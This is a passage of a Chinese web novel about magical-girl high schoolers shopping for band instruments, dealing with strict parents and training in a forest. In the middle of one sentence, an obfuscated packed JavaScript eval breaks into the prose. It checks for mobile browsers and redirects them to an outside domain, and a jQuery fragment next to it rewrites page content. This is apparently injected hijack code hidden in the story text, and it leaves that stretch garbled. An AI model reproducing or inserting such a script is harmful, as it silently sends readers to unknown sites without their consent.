而艾克里普寻找的架子鼓也在店铺中央摆设出了许多套,供人体验。 架子鼓之间也有不小的区别,有的架子鼓依稀还能看出原来的经典模样,但有的就已经完全现代化了,只剩下发出的声音是相似的。光是这样看着的话,艾克里普更加倾向于购买真鼓,但她又担心这是否与乐队要演奏的曲目相符。 一时之间她也没个主意,就学着另一个人的样子走到一套架子鼓前,带上耳机,学着自己记忆里的那些鼓手们敲击了起来。 完全没有预想中的振手的感觉,但声音很迅速地反馈到了耳机里,艾克里普正在使用的这一台是现代化的电鼓,一旁的牌子上写着大大的“入门款”。 大概是这里的动静终于让店员注意到了这里有一位存在感过于低的顾客,头发颜色如同红心火龙果一般鲜艳的店员迅速朝艾克里普走来,艾克里普愣了愣,提前摘下了耳机。 “不好意思刚才没注意到您。”发色很朋克的店员口吻是礼貌的。 “不,这没什么。”艾克里普微笑着说。 店员从很远的地方就注意到了艾克里普身上的校服,心想来了个大客户。 “您是想买架子鼓吗?”店员积极地营业了起来,“刚刚您尝试的这一台是入门款,优点是便携而且打击音很小,您觉得如何呢?” 其实店员也觉得这幅架子鼓真的不怎么样,至少她是看不上的,这样介绍只是因为习惯。但艾克里普真心实意地觉得对方很喜欢这幅架子鼓的优点。 “这样啊,我也觉得挺好的,但我比较想要真鼓。”艾克里普委婉地说。 “当然,我们这里常见的品牌都有,镲片和鼓棒的货也很全,您有偏好的品牌吗?或者说需要我给你推荐一些?”店员礼貌地问。 “我和朋友们组建了一支乐队,我想要一套放在家里练习的架子鼓。”艾克里普说,她觉得这位店员真是善解人意。 “当然可以!原来是高中生乐队,真是有活力啊,您之前有尝试过其它架子鼓吗?”店员问道。 “之前没有尝试过。”艾克里普诚实地回答。 “好的!那您的乐队是什么风格的乐队呢?”店员继续问。 “这个,还没决定呢!”艾克里普笑着说。 “原来如此!”店员心里有些纠结,对方这幅态度很难让人相信她会坚持使用架子鼓多久,在这个情况下为她推荐高价品牌似乎是有些过于牵强了。 “我很重视我们的乐队,所以我希望鼓的质量好一些。”艾克里普说,她不太明白店员在纠结些什么。 “当然,那请让我根据您的需求给您推荐吧!”店员听后也没有再纠结下去了。 接下来店员问了艾克里普一些关于材质偏好和打鼓环境之类的问题,过后她想了想,推荐了一款非常常见的牌子。 “这一款如何?这个牌子的乐器质量都相当不错,音色很适合流行音乐,而且工学设计上也很适合高中生。如果您在这里购买的话我们提供后期修护卡,可以在各个连锁官方店使用。”店员带着艾克里普走向另一块区域的展示台。 那是一台明黄色的鼓,正面看鼓面是黑色,走到座位旁能看到鼓内部的摆设,整台架子鼓在店内打光下闪闪发光,金属配件反射着锐利的光芒。 “您的练习环境隔音很好,那一定很适合打架子鼓吧,不过您之前没有尝试过的话要不要现在先试试看?”店员推荐道。 “多谢,那我试试看。”艾克里普笑着道谢,她坐进架子鼓后方的座位,顷刻间就被各种不同的鼓包围了。 理论上来说艾克里普理解鼓该怎么敲,但实际操作经验没有就是没有,这算是她第一次接触如此现代化的乐器,颇有种突然间误入走秀现场的感觉。 店员给她递来了鼓棒,看得出有些被使用过的痕迹,艾克里普的手覆盖在那些痕迹上,尝试性地对右下方的鼓进行敲击。 “咚!”声音与振动感一齐激烈的回应,架子鼓就是如此热情的乐器。 艾克里普再次敲击了几下,这是一种很神奇的感觉,她能想象到不同的节奏和不同的手法能得到不同的反馈,这种组合是上限的,只要她一直敲下去,她就能一直获得新的回应。 打击乐是一种能调动心跳的音乐,艾克里普认识到这一点。 “您感觉如何呢?”店员满意地看到艾克里普露出满意的神色。 “我觉得这个就很好。”艾克里普说。 “那真是太好了!这一套架子鼓还有其它的颜色,您要看看吗?”店员热情地说。 “黄色就很好。”艾克里普摇了摇头。 “好的,那鼓棒和镲片您有中意的吗?这里的是店员自己偏好的。不过如果您不需要额外的选择的话这里也有简单的会附赠给您。”店员递来一张价目表。 “就按照体验的这一套来吧,请问今天能送到吗?”艾克里普问。 “当然!请到前台结账,我们会派遣专业的送货员在今晚送货上门并进行安装的。”店员带着艾克里普走向前台。 “好的,麻烦了。”艾克里普回应说,心想一会得和送货员说明只需要在门口安装了。 结账完毕后,艾克里普带着几张单子和装着鼓棒的袋子离开了这座大厦,她非常期待练习。 趁着街上的行人因晚高峰而变多之前,艾克里普回到了夜藤事务所,出乎意料地发现有人站在事务所的门口。 那人戴着鸭舌帽,斜挎着包,身上的衣服表示他大概是邮政工作人员,此时他正拿着两三封信件,反复对照信封上的地址和眼前的建筑物。 “您好,是有夜藤事务所的邮件吗?”艾克里普走上前去。 “啊!”那人被吓了一跳,不过很快也就反应过来了,“是的,您就是这里的主人吗?抱歉我第一次来这个地方送邮件。” “是的,我是事务所的拥有者,麻烦您跑一趟了,交给我就可以了。”艾克里普笑着说。 于是那人先是将手里的信封交给了艾克里普,又低下头去翻包,一边翻一边与艾克里普闲聊了起来。 “没想到这里新装修过了,我很小的时候来过这里,那时和现在的事务所完全不一样啊,不过招牌倒是没有变。”那人不急不缓地说着。 “这样啊,您以前来过。”艾克里普应付着。 “是啊!”那人非常热情,“小时候这一片还挺热闹的呢,没想到现在大家都往东边的街道跑了。以前这里是不是有养鸟来着?” “是的,以前这里也有售卖鹦鹉。”艾克里普回答说。 她记得很清楚,那对老人对于鸟类,尤其是聪明又美丽的鹦鹉情有独钟,那时的动物保护管理系统还没有现在这么严格,但许多大型鹦鹉作为濒危物种,养殖贩卖的手续都非常的严格,作为学徒的她每一步都有认真学习。 店内出现的鹦鹉来源除了本土的繁殖个体外,也接受过世的老人们弃养的大孩子们,总数量不多,但照顾起来非常考验人的耐心。 “弃养鹦鹉是常见现象,除非一个人从出生开始就决定饲养一只鹦鹉,大多数情况下都是它送走它的主人。”艾克里普被这样教导过,“无论是大型还是小型,鸟类都是需要大量陪伴的物种,所以它们多数会在自己的主人死去之后陷入抑郁情绪。” 知道这一点让艾克里普在看向那些鸟类时心里偶尔会产生一些奇怪的情绪,但它们黑豆般的眼珠子总是会让她感到安心。 鸟类不像人类一样会否认魔法的存在,从而产生视线限制,它们只知道眼前的人是它们的好朋友,让碎裂的玻璃杯恢复如初和从布袋子里变出坚果在它们眼里是相同伟大的魔法。 所以比起在街道上走动,艾克里普通常更喜欢在事务所内待着。 她怜悯人类的生老病死之苦,也怜悯动物们那相比起人类短暂的生命。长寿的动物,例如格陵兰鲨,加拉帕戈斯象龟,弓头鲸,也有着远比人类长的寿命,但它们一般生活在离人类特别远的自然环境中。 而猫狗,或者说更长寿一些的马,通常会在人们准备好之后再开始饲养,并贯彻其一生。 这些鹦鹉有着与人类相似的寿命,同时被人类饲养,情绪丰富又需要长时间的陪伴,在艾克里普的眼里它们太像是人类的孩子了。一般长期饲养鹦鹉的人会比一个随随便便就拥有了孩子的人做的更好,就比如说夜藤夫妇,那古板尖锐的行事态度也是一种保护。 在夜藤夫妇离开之后,照顾这些孩子的重担就落在了艾克里普的头上,她本以为自己会做的很好,毕竟动物不会带来视线限制,使用魔法照看一些鸟类不过是信手拈来的简单事。 但不久后她就发现自己做不到。 那些鹦鹉中曾经失去一次主人的,在发现夜藤夫妇再也不会回来之后产生了严重的自残行为,它们开始不吃不喝,用喙去啄自己的羽管。艾克里普治好之后它们就再做一次,一次又一次。 鹦鹉会学舌,但那学来的大概也不是它们自己想说的,它们想说的体现在它们的动作里,就好像还没学会说话就用哭泣来表达不满的孩子一样。 艾克里普无法理解每一只鹦鹉到底是为何而做出不同的行为,那些理论知识派不上用场,以往观察得来的经验也失去了作用,她知道自己终究与夜藤夫妇是不同的。 但她可以选择对人类个体保持尊重,并不去干涉,但她无法以同样的心态面对那些鸟类,但她又做不到去真的拯救它们,或者说理解它们。 于是艾克里普花了三年多的时间为那些孩子逐一找到主人后,夜藤事务所再也不接受新的动物了。2015年她正式翻新了事务所,并在法务局将夜藤事务所的中小型动物例行申报结束了。 “我啊,小时候看到那些很大的鹦鹉就觉得很了不起,没想到长大后就再也遇到过类似的。”邮政人员苦笑了一声,大概是有些可惜。 “现在事务所不太适合饲养动物了。”艾克里普说。 这也是实话,自从她将魔法工坊建设起来之后,那些被留下的植物都逐一因魔力而产生了变异,从而有了些许攻击性。若是有动物长期待在事务所内,那它大概会变异或者一直受到攻击。这也是艾克里普阻止正常人接近事务所的原因之一。 “那也就没办法了,”那人也没有纠结过多,“这里有笔,这份文件需要您查阅后签名,然后我要带回去寄回给送件人。” “稍等,我看一下。”艾克里普有些意外,她先是将杂物放在事务所门前,拆开了A4大小的档案袋。 “卫生检查和动物登记?”艾克里普皱了皱眉,“这里从很久以前就不需要签这一份文件了。” “这方面我也不太了解。”邮政人员面色有些为难。 艾克里普将所有纸张拿了出来,除了一开始的登记表之外,还有买卖许可申报,营业营业许可更新,记录管理,店内定期检查和申报之类的,全都是麻烦事。 但这些中大部分艾克里普每年都有定期填写并上交,其余的都是不需要的,但档案袋上确实有相关部门的印章,并且日期是新的。 “这个地址并不是市区行政区域附近吧。”艾克里普看着地址感到了怀疑。 “抱歉,这方面我是真的不了解啊。”邮政人员有些不知所措了。 “这些文件我不会填,不好意思。”艾克里普将纸张收回了档案袋,安抚地笑着说,“不过这件事您不用担心了,这个档案袋放在我这里,如果那边有需求的话直接过来找我就好。” “这,好吧,应该也可以?”邮政人员也不知道这样是否是可以的,不过不需要负责让他松了口气。 “是的,麻烦您跑一趟了。”艾克里普说。 “哪里哪里,那我还有工作,就先走了。”邮政人员没再思考,摆了摆手离开了。 艾克里普看着对方离去的背影,陷入了沉思。 这件事背后定是有谁想做些什么,但她实在是不愿意在应对这种事情上浪费时间。 有乐羽生对于钢琴这一乐器还算是熟悉,她初中时每周都有钢琴课,参加过各种比赛和评级,也出席过各种活动进行演奏。她二楼的琴房有一台练习用的三角钢琴,一楼私宴厅的角落里也有一台,不过那一台的弹奏者通常不是她。 虽然是这样强制捆绑的关系,但有乐羽生并不讨厌钢琴,反倒可以说,偶尔私下弹奏曲目的时光是她难得的休闲时间。 但乐队需要的不是钢琴演奏家,而是键盘手,有乐羽生提前了解了一番,满意地得知大部分钢琴弹奏者转向电子琴都不需要太多的练习。 于是她在了解了一番之后选中了一台能模仿钢琴手感的电子琴,吩咐管家去琴行用她的账户买下,并在买到后直接送到她的琴房。 今天就是琴房里多出一台电子琴的日子,有乐羽生心想把电子琴放在琴房里的哪个角落里比较好时,却得到了不好的消息。 “您的父亲他阻止了交易,所以我没能为您带回您选中的电子琴,非常抱歉。”管家在有乐羽生下车后告知了她这一消息。 有乐羽生的手指僵住了,但她的表情没有丝毫地变动。 “这样啊,”她说,“那也就没有办法了,不必介意,辛苦了。” 随后她一路走进琴房,当然没有惊喜出现,看着那台巨大的黑色三角钢琴,有乐羽生什么都没有说,一如既往地回到卧室换上衣服等待晚餐开始。 下午时她巡视时路过市区,看到了那台白色的电子琴,修长的洁白琴身非常美丽,哪怕是没有特意被展出也被有乐羽生迅速地发觉了。 那台琴过一会要出现在我的琴房里了,那时的她是那样想的。 晚餐是一如既往的冰冷,有乐羽生觉得拿起餐具都是多余的,盘子里从哪部分开始是她的食物?这样想着她不由得有点想笑。 “羽生,你为什么需要一台电子琴?”她的母亲的话传达到了她的耳边。 但这是明知故问,她早就嘲笑过那支乐队了,也就知道对于乐队成员来说为什么需要一台电子琴。 这里该如何回答好呢?有乐羽生思索着,先是微笑着把头抬了起来。 “是的母亲,我需要一台电子琴。”她这样回答说。 这是顺从的回应,接受压力使她感到沉重,但也没有过多的负面情绪了。 “粗制滥造的现代化行乐乐器,就像是那支乐队一样,没有被正眼看的价值。”她的母亲给出了相当坏的评价,她抬头看向有乐羽生,“你不需要它们,羽生。” 有乐羽生哑口无言,她不想回答这个问题,但她必须回答。 “…什么乐器都有存在的理由。”她这样说。 “但并不是每个理由都适合你,羽生,你是有乐家的孩子,适合你的乐器我们会为你准备好的。”她的父亲附和道。 “如果要练习的话就使用你的钢琴吧?也趁机会回忆一下我们是怎么教导你的。”她的母亲冷漠地提醒说。 “电子琴会影响你演奏的习惯的,你自己也知道你如今的技术是怎么练习出来的吧?” “我曾经时刻提醒你你的音乐品味就是你本身的代表,不要给你自己丢人。” 但是明明你们都没有擅长的乐器吧,有乐羽生在心里这样想着,压下了苦涩的味道。 那来自绿色的奇怪酱汁,似乎是某种鱼类的肝脏制作而成的。 “我明白了,我今晚会练习钢琴的。”有乐羽生这样回应道。 至少社团那边有电子琴可以借,她自我安慰说。 但那一台白色电子琴的影子时刻浮现,她没法视而不见。 果然还是得自己想想办法吗?有乐羽生这样想着,看向那台黑色的三角钢琴,它就那样静静地看着有乐羽生烦恼,若是不按下琴键就绝不发出回应。 琴房的隔音很好,无论是内外都互相隔绝着,阳光透过玻璃窗,带来粉尘的味道。 “没有在说你不好哦。”有乐羽生摸了摸三角钢琴的黑色身体,早上被侍者使用专用的布擦拭过,手感光滑冰凉。 如果要说“比起这种东西我更想要电子琴啦”这种那还不至于,有乐羽生自认为自己拥有的东西已经足够多了,如果还想要更多的东西,那果然就只能自己想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706125|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法争取一下。 在琴房里的话,没有在练琴其实也不会被发现,这件事有乐羽生小时候就知道了,但偶尔会有不敲门就进来的人,也就是她的母亲。 “练琴是对你自身的修行,别以为你是在做给我看。”她总是这样说。 如果直接告诉她们“我现在是魔法少女了你们别想管我”,会得到什么样的反应呢,有乐羽生漫无边际地想着。 父亲的反应很好猜吧,大概就是大吃一惊然后强装镇定然后在私底下想办法吧,他一直将有乐羽生视作自己的接班人,魔法少女比起□□恐怖的多,毕竟身怀巨大力量且无法控制,从某种意义上来说算是一种恐怖分子呢。 母亲的话,一开始一定会非常生气。“你怎么自说自话就接触了这种东西!”这样的话绝对会说吧,但是之后的话会怎么做呢? 她会拿我没办法吗?有乐羽生这样想着又很快就否定了,母亲她怎么会拿我没办法呢,说到底她一直以来都没有出现过拿我没办法的情况。如果我真的让她相信了我能使用魔法这种她无法控制的力量,那。 有乐羽生这样想着,心里逐渐浮出了忐忑不安和畏缩。 无论从什么角度去想,她的母亲有乐千奈会做出的事情都不会让有乐羽生感到哪怕丝毫的满意。她自认为成为魔法少女的契机只是自己的私心,而这正是她的母亲最为看不起的动机。 有乐千奈的母亲的工作职位是“结构性风险缓冲与社会稳定项目执行顾问”,长到听上去像是她自己编的,但实际上她要做的事情非常多,影响力和权利也非常大。 有乐千奈自称有乐家的代表人物,自然也要秉持着有乐家修炼自我,不可自夸自傲的品德,自然是不会直接把“你母亲我可是个了不起的大人物”这样的话说出口的,但却常常不经意间透露出来一些事实来佐证这一点。 自从1988年的【联合秩序共享管理机制框架协议】签订之后,这个开玩笑一样的职位被定下,2013年被有乐千奈接手时她是第四任,也是在任时间最长的一任。 有乐羽生对该职位的一切了解的都不多,只知道自己的母亲几乎不出现在正式的社交场合,更是从来不出现在镜头下。但这个职位能带来的权利和奖励很多,例如推举一个市长,例如有乐家满屋子的艺术藏品和屋子本身。 大多数政治家都有着不错的家庭背景,哪怕是商人参政都知道把自己家里包装一下,可有乐善太郎背后确实只有有乐千奈一人,从未有人质疑。 虽然有乐羽生不知道自己的母亲是否是因为职业而性格如此,但无论如何她都是绝对的受益人,而且有时也能看出有乐千奈的疲惫,长期的心情不佳使她常年被偏头痛缠身。有乐千奈常说这些事不用有乐羽生管,但又说她是有乐家的孩子。 母亲到底是怎么想的呢?有乐羽生看着窗外的蓝天发起了呆。 如果自己告诉她这件事的话,无论是谁都讨不到好处吧,说到底家里根本就不会有人因她过早地得到过大的力量而感到开心,在考虑如何利用之前需要先考虑如何解决麻烦。 果然还是好好瞒着吧。有乐羽生决定了。 不过有乐羽生并没有放弃那台美丽的白色电子琴,她想起了自己衣帽间里那些一年戴不了一次的首饰们,心想自己要是会类似“等价转换”的魔法就好了。 但很可惜,有乐羽生虽然非常擅长飞行与空间移动,也擅长类似对自身进行增强的魔法,但其余的大多数进展平平,同时因为能量空缺,她很少能有机会单独练习那些不太用得到的魔法。到现在她狩猎魔物还是使用简单的魔剑高速刺击和羽毛飞弹,但胜在好用,而且很少受伤。 睡觉也会恢复魔法力,狩猎魔物也会提升魔力总量,但魔法还是得靠她自己多多练习,或者指望灵感偶尔从天而降了吧。 犬山晓很喜欢她的的木吉他,但说到乐队果然还是得出现电吉他吧,这样想着的她已经是不知道多少次路过各个地区的吉他专卖店了。 虽然说一开始接触到吉他只是一个偶然,但她本身确实喜欢这种随手拿起就能弹的乐器,犬山晓很开心自己能成为乐队的吉他手,哪怕是不以音乐为核心的乐队,她依旧觉得自己想成为其中的吉他手。 吉他手以及主唱基本上是一个乐队里最热门的位置了吧?犬山晓也是了解这一点的,她常常看一些与之相关的视频,也刷到过问“演出后送礼物能不能只送一个人”这样的讨论贴。 果然,如果不是技艺极其精湛,那直接站出来说自己想成为吉他手并不是一个合适的做法吧。犬山晓一直是这么想的,即使是在乐队已经成立了之后,她也常常这样想。 虽然说犬山晓知道Mirare乐队的组成只是为魔法少女们的自由活动时间打的幌子,大家真正练习的时间并不是很多,聚集在一起的机会也不多。但她依旧觉得,自己能组成这样一支乐队,还成为了吉他手,是一件非常幸运的事情,她知道自己运气一直不是很好。 至少要像个合格的乐队吉他手一样吧,犬山晓是这样想的,也以此为目标,去搜寻了很多相关的视频看,主要是乐队练习视频,但也有大部分名字为“乐队吉他手的一天”这样的日常记录视频。 这样的视频犬山晓很喜欢看,无论是怎样的内容,好或者坏,无聊或者有趣,她都喜欢去看。一来作者把这些发出来也是自己认为这样的内容是有价值的,二来对于犬山晓而言无论是什么样的日常都有学习的价值。 但是熬夜喝酒还是算了吧,犬山晓这样想着跳过了进度条。 贝斯并不是森山寺未央情有独钟的乐器,说实话她对于大部分的乐器都处于一个“会用但不精通”的阶段,贝斯已经是其中的佼佼者了。 但这并不妨碍森山寺未央非常想买各种效果器。 “这一套下来这个月的伙食费就要不翼而飞了,难道说得动用压岁钱吗?”森山寺未央这样想着的时候手指已经下单了。 “耶——”想到即将拥有一套效果器时她还是很开心的。 “你耶什么?”森山寺未雅被这莫名其妙的动静吓了一跳。 “效果器!我买了那个能发出九转十八弯音效的效果器,哎呀要不要买个新的贝斯呢想要一把深颜色的呀。”森山寺未央说着又抱着手机在沙发上看了起来。 “贝斯的话要那么多效果器吗?”森山寺未雅有些疑惑,但很快就没有在意这些了,“你自己花钱注意着点吧,别把我们的生活费也花掉。” “呃呃呃,知道了知道了。”森山寺未央手一顿,坐了起来。 “又怎么了你?”森山寺未雅问道。 “这样一想,贝斯的话,应该去看看线下店啊!”森山寺未央说着自顾自站了起来。 “…你自己去,我要去写作业了。”森山寺未雅说着自己回了房间。 “我现在就出门一趟!”这样说着,森山寺未央摸起手机钱包钥匙就冲出了家门。 “那家伙绝对没有锁门。”森山寺未雅走到大门口拧动门锁,果不其然,现在才算是锁上了。 森山寺姐妹所住的公寓附近就有直通西部和东部市区的列车车站,森山寺未央对东部比较熟悉,但跑去东部一趟要花费的时间太长了,她打开手机地图软件确认信息,满意地发现西部市区也有一栋专门售卖各种乐器的大楼。 列车晃晃悠悠,带着她抵达了市区商业街西边的车站。 二手乐器店比专门贩卖乐器店店更加拥挤错乱一些,有顾客在以试用的名义试图展现自己高超的技术,店内的唱片与贝斯的律动一起此起彼伏,相当令人心动。 相当令人心动啊,森山寺未央垂涎欲滴地看向那人手里的贝斯。但她迅速地回过神来,想起自己的经济状况和自己的目的:来看看的。 为了防止自己真的花钱买什么,她甚至没有带钱包出门,也有可能是不小心忘记了吧。 “喂?”森山寺未雅疑惑地接起电话。 “为什么不接电话啦!”森山寺未央的声音十分不满,“拜托你帮我把钱包送过来可以吗?” “因为我手机没电了。以及,不可以。”森山寺未雅毫不犹豫地拒绝了。 “万一我离开这里的时候这把贝斯被买走了我真的会抱憾终身的求你啦姐姐帮我一下嘛!”森山寺未央找了个角落开始不顾颜面地请求,“拜托啦拜托啦拜托啦。” “首先,你有一把贝斯,其次,你自己说了只是看看的吧?”森山寺未雅无动于衷,“看够了就回来,你作业没写。” 电话被挂断了,森山寺未央绝望地蹲在地上,看着手机发呆。 她的姐姐之前有这么绝情来着吗? 13. 肆 在临海城市看海并不算容易的事,城市的最东边是东部港口与大学城区域,日之森和西部市区近乎处于最西边。从日之森开车到东南区域的港口需要至少50分钟到时间,具体时间依交通拥堵情况还要再加上十几分钟左右。公共交通可以选择乘坐西部市区市政府区域车站的北部环线到大学城东站,随后就可以骑自行车或者其它个人交通工具去大学城东部的临海区域。 大学城北部原港口被改成了文化港,现在是热门旅游区域,特色是喂海鸥,海鲜和咖啡店,也有特色帆船项目提供给游客,临近的游乐场里摩天轮的最高点也能看到海景。 “为什么突然说起这个了?”犬山晓奇怪地看向忽然向她介绍旅游项目的森山寺未央,“未央是想去看海吗?” “哦哦,话题跑偏了。”森山寺未央不好意思地说,“其实是因为我上次路过那边的时候有一瞬间察觉到了很强烈的魔力反应,我觉得自己没办法应对,所以想来问晓能不能和我一起去看看。” “原来是这样,那当然可以,放学后就一起过去吧。”犬山晓毫不犹豫地同意了,“不过为什么要在体育课的时候来找我呢?” 今日课表的最后一节课,犬山晓本来在跟着体育老师练习热身动作,一个拉伸就看见森山寺未央蹲在操场观众席上看她。于是她趁着休息时间的五分钟跑过去询问,结果被告知了一大段旅游和交通信息。 “其实,”森山寺未央有些不好意思地说,“我在想要不要也来这里锻炼一下,因为我的身手可以说比三脚猫还不如啊!简直就是两脚爬虫,不过我本来就是两只脚啦这样说也没用错。” 眼看着话题越说越偏,犬山晓觉得休息时间快结束了,不得不打断对方说话。 “体育课的训练实际上对我们来说用处并不大,未央你如果想训练身手的话我可以指导你,我们放学再说吧。”犬山晓说。 “那太好啦!晓,谢谢你!”森山寺未央万分感激地说,“咦不过既然如此晓为什么还要报名这节课呢?我理解的!是爱好对不对?” 明眼人都能看出来犬山晓一点汗都没流,甚至白色运动服都没什么磨损的现象。 “也不是啦,这节课对我来说比较轻松而已。”犬山晓也有些不好意思了。 “原来如此!”森山寺未央恍然大悟,“我怎么没想到呢?” “不说了我得回去了,放学后社团活动室见吧。”犬山晓说着往操场跑去。 森山寺未央目送犬山晓跑走的身影,心里思考对方的训练会是何种方式。 放学后,犬山晓冲过澡就去社团活动室找森山寺未央,一路上偶尔有其它前往社团活动的学生在讨论治安问题,似乎最近有关于人口失踪的话题兴起。犬山晓没有太在意,毕竟人口失踪实际上并不少见,只不过许多人没有报警而已。 门没有锁,她进入后就发现对方在架子鼓后方坐着,也没在敲鼓,只是在玩手机。那手机似乎并非是常见市售款,有些厚度,同时屏幕支离破碎。 “晓!”森山寺未央站起身朝犬山晓走去,“走吧走吧,我准备好啦。” “那就出发吧。”犬山晓摸出手机看了看,“如果是海洋区域的魔物的话一般天完全暗下来之前是不会冒出水面的,我们现在可以先找个地方练习一下战斗的方式。” “好哦。”森山寺未央点头,又追问道,“为什么海洋区域的魔物天黑后才出来呢?” “我一边走一边和你说吧。”犬山晓说着,二人离开了社团活动室,一路穿过日之森校区,从西北边的校区北部副出口离开了学校。 校区的西部两三公里就是森林区,再往北边就是山区,有不少步行登山道存在。 “可能未央也注意到了,我们能使用魔法来控制水,但无法在水中自如地控制魔力输出。”犬山晓一边走一边说。 “…其实并没有注意到。”森山寺未央不好意思地说,“我之前才开始尝试主动控制魔力输出,但并没有接触过水,也还不会用魔法控制水流什么的。” “这样啊!”犬山晓这才意识到这是纯新手,“那一会就带你去试试吧。总之,我们如果泡在水里的话,魔力的输出会变得特别慢,这与我们被注视的情况下无法使用魔法的情况并不相同,更像是一种,有阻力的感觉。” “我理解了!就是魔力形成魔法的过程会变慢,魔法对外输出的过程也会变慢,是这样吧?”森山寺未央积极回应。 “没错!未央理解得很快呢。”犬山晓笑了,“这种情况对于魔物来说也是同理的,大多数魔物落入水中之后都会尽可能快地回到岸上,这也算是一种本能了。但有部分魔物是生存在水中的,这些魔物并不依赖对外输出的魔法,而是选择用魔力维持自身的存在,哺食海里的生物作为能量供给,反而不习惯去岸上生活。” “这样的话,那不就和普通的海洋捕食者差不多了嘛?”森山寺未央问道。 “没错,所以大多数情况下我们不需要去管那些海中的魔物。但有些海中的魔物成长到一定程度之后就会开始尝试浮出水面,开始哺食海鸟,甚至船只。”犬山晓说。 “海怪克拉肯!”森山寺未央迅速回应。 “那是什么?不过确实和海怪差不多吧。”犬山晓想了想说,“海中的未知强大生物。” “不过魔物就是魔物呢!海怪反而可能是不存在的。”森山寺未央说到这里笑了。 “是吗?”犬山晓看上去有些疑惑,“总之,如果遇到这种从海里冒出来的魔物,就不要自己去狩猎了,告诉我或者艾克里普吧,这件事也得和羽生说一下。不过她的话在自保这方面没什么问题,我还不太了解未央呢。” “很快就能了解啦!”森山寺未央说,“不过,为什么海中的魔物只在晚上出来呢?” “一方面是谨慎,出海的魔物本身就足够强大而且有探索水面之上的欲望和自主性。另一方面就和我们一样了,夜晚对于魔物来说使用魔法更方便一些,尤其是海中魔物这种魔法偏向内循环的,更难预测外界的存在。”犬山晓说。 “原来如此!这样一来我也能了解到许多海中魔物的习性了,这些魔物一般身型都很巨大吧,而且不太遮掩自己的魔力气息,毕竟海里不需要,同时在海里速度应该挺快的,岸上就不好说了。”森山寺未央思索着说。 “没错,未央学习的很快。”犬山晓赞叹道,“多了解魔物总归是有好处的。” “主要是因为我的特征需要我尽可能地收集魔物。”森山寺未央解释说,“我战斗的方式是靠同化魔物,让魔物变成自己的手下被我驱使,但现在我的魔力消耗特别大,没办法一次性驱使很多魔物,就得想办法自己保护自己了。” “原来如此,是我从没见过的战斗方式呢,不过我确实没见过多少魔法少女的战斗就是了。”犬山晓说,“魔力消耗大可能是因为总量不足,多多狩猎魔物吧!” “…嗯!”森山寺未央点头。 谈话间,二人来到了西部山区,犬山晓没有走正常的路,而是找了个时机跳过高速和围栏,她回头一看,发现森山寺未央还站在原地,抬头愣愣地看着她。 犬山晓招手示意让对方也跟上,森山寺未央左顾右盼,爬上栏杆,又左顾右盼,小心翼翼地快速跑过高速公路,最后跳着爬上了栅栏。 “…未央,你。”犬山晓欲言又止。 “抱歉,我体力不是很好。”森山寺未央扶着栅栏说。 “好吧,这是我没想到。”犬山晓叹了口气,下方是近十米高的差距,前方是树林,想也知道森山寺未央没办法靠自己跳过去。 都是魔法少女了,为什么不多强化一下身体呢?犬山晓心想,但她也想起了森山寺未央是纯新手,她不可以这样以己度人,觉得所有魔法少女都有余力强化身体。 “未央,你可以尝试让你的魔物带着你跑。”犬山晓说。 “在光天化日之下召唤魔物是不是不太好?”森山寺未央犹豫地问。 “不能只召唤出一只手,一只脚这样吗?反正没人看见就可以用。”犬山晓问道。 “…这样一说理论上是可行的,我试试看。”森山寺未央环视左右,掏出一张卡牌,尝试只输出一半的魔力进行召回,但并没有得到回应。 “现在大概是不行的。”森山寺未央遗憾地收回卡牌,“不过这里的话我跳下去也没关系的,别担心!” “你会减缓冲击力的魔法?”犬山晓谨慎地问。 “没有!不过我摔下去的时候如果骨折了我知道怎么掰回来!”森山寺未央积极回应。 “…还是不要这样了,总之我先带你下去吧。”犬山晓沉默了一下,伸出手去,森山寺未央握住了那只手。 好小一只啊,这真的是高中生该有的骨架吗?森山寺未央还这样想着的时候,她的重心就被犬山晓带着偏离,倒向下方,十米开外的泥土上。 十米对下落来说不过是一瞬间的事情,一瞬间,或者一年之后,森山寺未央被犬山晓放在了地上。 “刚刚发生了什么?”森山寺未央回过神来。 “我带着你跳下来了。”犬山晓回复,“在使用魔法强化身体之前,你需要锻炼反应力和耐力,学会呼吸以及在下落时保持平衡。” “好的老师!”森山寺未央迅速回应,“老师我们来这里是要干什么的?” 前方的山林中有光线透过树杈投向地面,一根根树干拔地而起,地面是泥土和石头的混杂物,偶尔参一两根突兀的树根,对常人而言没有落脚的地方。 “这里的话,先带你锻炼一下平衡能力吧,这个学起来应该比较快,随后你就可以自己练习了。”犬山晓说着,抬头看向树干之间,“能达到身轻如燕的水平就算及格,要在每次失去平衡落在地上之前找到落脚点并且抵达,手段不限,尽可能使用魔力吧,离开前我会帮你补足的。” “哦哦。”森山寺未央似懂非懂地抬头看去,“不过我们是要如何——” 话没说完,她衣领又一紧,熟悉的眼花撩乱又出现了,下一刻她的视角来到三米之上,脚下的杆子稍微晃了晃,她低头看,差点没维持住重心,连忙抬手去扶身边的树干。 “总之尽可能往上跑吧,不可以落到地面上哦。”犬山晓在一旁的枝干上停着,“掉下去的话我会接住你的,不过你不可以因为这样就不保持警惕心。” “好的我了解了!”森山寺未央换上了魔法少女装束,若是要在树枝间穿梭,那想要速度最大化就应该使用她新收录的“速度”魔法,可速度魔法是状态型魔法,时间长了非常消耗魔力,虽然犬山晓说会帮她补上魔力,可消耗得太快了总归不太好。而且速度加快了并不代表她就能平稳抵达,她对自己那只比常人好一点的运动神经有着自觉。 所以,这里比起“速度”,更应该使用“化影”来在树干之间的阴影穿梭,并尽可能地用跳跃来抵达目的地维持平衡。这样决定好了之后,森山寺未央迅速开始行动。 魔法少女装束为她带来了一定程度上的身体能力加持,但也就是她能控制的范围内而已,森山寺未央想起犬山晓毫不费力地以原样停在枝头的样子,心里有了动力。 